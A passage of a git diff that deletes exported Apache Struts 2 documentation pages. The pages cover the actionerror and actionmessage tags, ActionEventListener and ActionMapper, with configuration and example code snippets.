-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>actionerror</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="actionerror.html">actionerror</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">actionerror</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14130">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14130">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14130">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14130">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14130">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14130">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="actionerror-Description">Description</h2>
-
-
-<p>Render action errors if they exists the specific layout of the rendering depends on
-the theme itself. Empty (null or blank string) errors will not be printed. The action error
-strings will be html escaped by default.</p>
-
-
-<h2 id="actionerror-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="actionerror-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-   &lt;s:actionerror /&gt;
-   &lt;s:form .... &gt;
-      ....
-   &lt;/s:form&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/actioneventlistener.html b/content/docs/actioneventlistener.html
deleted file mode 100644
index 5599758..0000000
--- a/content/docs/actioneventlistener.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ActionEventListener</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="actioneventlistener.html">ActionEventListener</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ActionEventListener</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34838880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34838880">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34838880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34838880">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34838880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34838880">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A ActionEventListener can be used to add some logic when action's instance is created or when exception occurred during processing the action.</p>
-
-<h3 id="ActionEventListener-Configuration">Configuration</h3>
-
-<p>Right now there can be only one instance of ActionEventListener for the whole Struts2 application. You can configure it via struts.xml by adding bean definition:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;bean type="com.opensymphony.xwork2.ActionEventListener" class="com.demo.MyActionEventListener"/&gt;
-</pre>
-</div></div>
-
-<h3 id="ActionEventListener-Examples">Examples</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyActionEventListener implements ActionEventListener {
-
-    public Object prepare(Object action, ValueStack stack) {
-        if (action instanceof MyBaseAction) {
-            ((MyBaseAction)action).setUserService(stack.findValue("userService"));
-        }
-    }
-    
-    public String handleException(Throwable t, ValueStack stack) {
-        if (t instanceof MyBusinessException) {
-            return stack.findString("defaultBusinesResult");
-        }
-        return null;
-    }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/actionmapper.html b/content/docs/actionmapper.html
deleted file mode 100644
index b84fb21..0000000
--- a/content/docs/actionmapper.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ActionMapper</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="actionmapper.html">ActionMapper</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ActionMapper</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14128">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14128">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14128">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><parameter ac:name="maxLevel">3</parameter><parameter ac:name="minLevel">2</parameter></p><h2 id="ActionMapper-Description">Description</h2><p>The ActionMapper interface provides a mapping between HTTP requests and action invocation requests and vice-versa.</p><p>When given an HttpServletRequest, the ActionMapper may return null if no action invocation request matches&#160;or it may return an {{ActionMapping}} that describes an action invocation [...]
-&lt;s:form action="baz"&gt;
-    &lt;s:textfield label="Enter your name" name="person.name"/&gt;
-    &lt;s:submit value="Create person"/&gt;
-    &lt;s:submit method="anotherMethod" value="Cancel"/&gt;
-&lt;/s:form&gt;
-&lt;!-- END SNIPPET: method-example --&gt;</plain-text-body><h3 id="ActionMapper-Actionprefix">Action prefix</h3><p>With action-prefix, instead of executing baz action's <code>execute()</code>&#160;method (by&#160;default if it isn't overridden in struts.xml to be something else), the&#160;anotherAction action's <code>execute()</code>&#160;method (assuming again if it isn't overridden&#160;with something else in <code>struts.xml</code>) will be executed.</p><parameter ac:name="">xml</par [...]
-&lt;s:form action="baz"&gt;
-    &lt;s:textfield label="Enter your name" name="person.name"/&gt;
-    &lt;s:submit value="Create person"/&gt;
-    &lt;s:submit action="anotherAction" value="Cancel"/&gt;
-&lt;/s:form&gt;
-&lt;!-- END SNIPPET: action-example --&gt;</plain-text-body><h3 id="ActionMapper-AllowedactionnameRegEx">Allowed action name RegEx</h3><p>By default the mapper will check if extracted action name matches provided RegEx, i.e.&#160;<code>[a-zA-Z0-9._!/\-]*</code>. You redefine this RegEx by defining a constant in&#160;<code>struts.xml</code> named&#160;<code>struts.allowed.action.names</code>. If action name doesn't match the RegEx a default action name will be returned which is defined as [...]
-&lt;constant name="struts.mapper.class" value="mymapper" /&gt;
-</plain-text-body><p>Possible uses of the ActionMapper include defining your own, cleaner namespaces, such as URLs like <strong>/person/1</strong>, which would be similar to a request to <strong>/getPerson.action?personID=1</strong> using the DefaultActionMapper.</p><h2 id="ActionMapper-CompositeActionMapper">CompositeActionMapper</h2><p>A composite action mapper that is capable of delegating to a series of <a shape="rect" href="actionmapper.html">ActionMapper</a> if the former failed to [...]
-&lt;constant name="struts.mapper.composite" value="struts,restful,restful2" /&gt;
-</plain-text-body><p>When <code>CompositeActionMapper#getMapping(HttpServletRequest, ConfigurationManager)</code> or <code>CompositeActionMapper#getUriFromActionMapping(ActionMapping)</code> is invoked, <code>CompositeActionMapper</code> would go through these <a shape="rect" href="actionmapper.html">ActionMapper</a>s in sequence starting from <a shape="rect" href="actionmapper.html">ActionMapper</a> identified by <code>struts.mapper.composite.1</code>, followed by <code>struts.mapper.co [...]
-&lt;constant name="struts.mapper.composite" value="struts,restful" /&gt;
-</plain-text-body><p><code>CompositeActionMapper</code> will be configured with 2 ActionMapper, namely "struts" which is <code>org.apache.struts2.dispatcher.mapper.DefaultActionMapper</code> and "restful" which is <code>org.apache.struts2.dispatcher.mapper.RestfulActionMapperRestfulActionMapper</code>. <code>CompositeActionMapper</code> would consult each of them in order described above.</p><h2 id="ActionMapper-PrefixBasedActionMapper">PrefixBasedActionMapper</h2><p><plain-text-body>{sn [...]
-&lt;constant name="struts.mapper.class" value="mymapper" /&gt;
-</plain-text-body><parameter ac:name="language">java</parameter><plain-text-body>public class MyCustomActionMapper implements ActionMapper {
-  public ActionMapping getMapping(HttpServletRequest request,
-                                  ConfigurationManager configManager) {
-    ....
-  }
-
-  public String getUriFromActionMapping(ActionMapping mapping) {
-    ....
-  }
-}
-</plain-text-body><p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also: <a shape="rect" href="restfulactionmapper.html">RestfulActionMapper</a></p><h2 id="ActionMapper-Next:ActionProxy&amp;ActionProxyFactory">Next: <a shape="rect" href="action-proxy-actionproxy-factory.html">Action Proxy &amp; ActionPro [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/actionmessage.html b/content/docs/actionmessage.html
deleted file mode 100644
index 249b718..0000000
--- a/content/docs/actionmessage.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>actionmessage</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="actionmessage.html">actionmessage</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">actionmessage</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14023">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14023">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14023">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14023">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14023">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14023">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="actionmessage-Description">Description</h2>
-
-
-<p>Render action messages if they exists, specific rendering layout depends on the
-theme itself. Empty (null or blank string) messages will not be printed. The action message
-strings will be html escaped by default.</p>
-
-
-<h2 id="actionmessage-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="actionmessage-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:actionmessage /&gt;
-&lt;s:form .... &gt;
-   ....
-&lt;/s:form&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/adminapp.html b/content/docs/adminapp.html
deleted file mode 100644
index b7ae3bc..0000000
--- a/content/docs/adminapp.html
+++ /dev/null
@@ -1,359 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
